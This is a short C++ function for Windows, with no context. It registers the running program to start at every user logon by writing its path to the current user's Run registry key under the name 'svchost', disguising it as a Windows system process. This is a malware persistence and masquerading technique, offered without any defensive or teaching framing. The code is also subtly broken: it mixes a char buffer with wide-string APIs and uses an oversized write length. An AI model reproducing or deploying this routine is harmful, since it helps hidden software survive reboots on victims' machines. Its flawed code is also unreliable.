void AutoRun()
{
char arr[MAX_PATH] = { };
GetModuleFileName(NULL, (LPWSTR)arr, MAX_PATH);
HKEY hKey;
if (RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKey, NULL) == ERROR_SUCCESS)
{
if (RegSetValueEx(hKey, L"svchost", NULL, REG_SZ, (LPBYTE)arr, (sizeof(arr) + 1)) == ERROR_SUCCESS)
{
RegCloseKey(hKey);
}
return;
}
}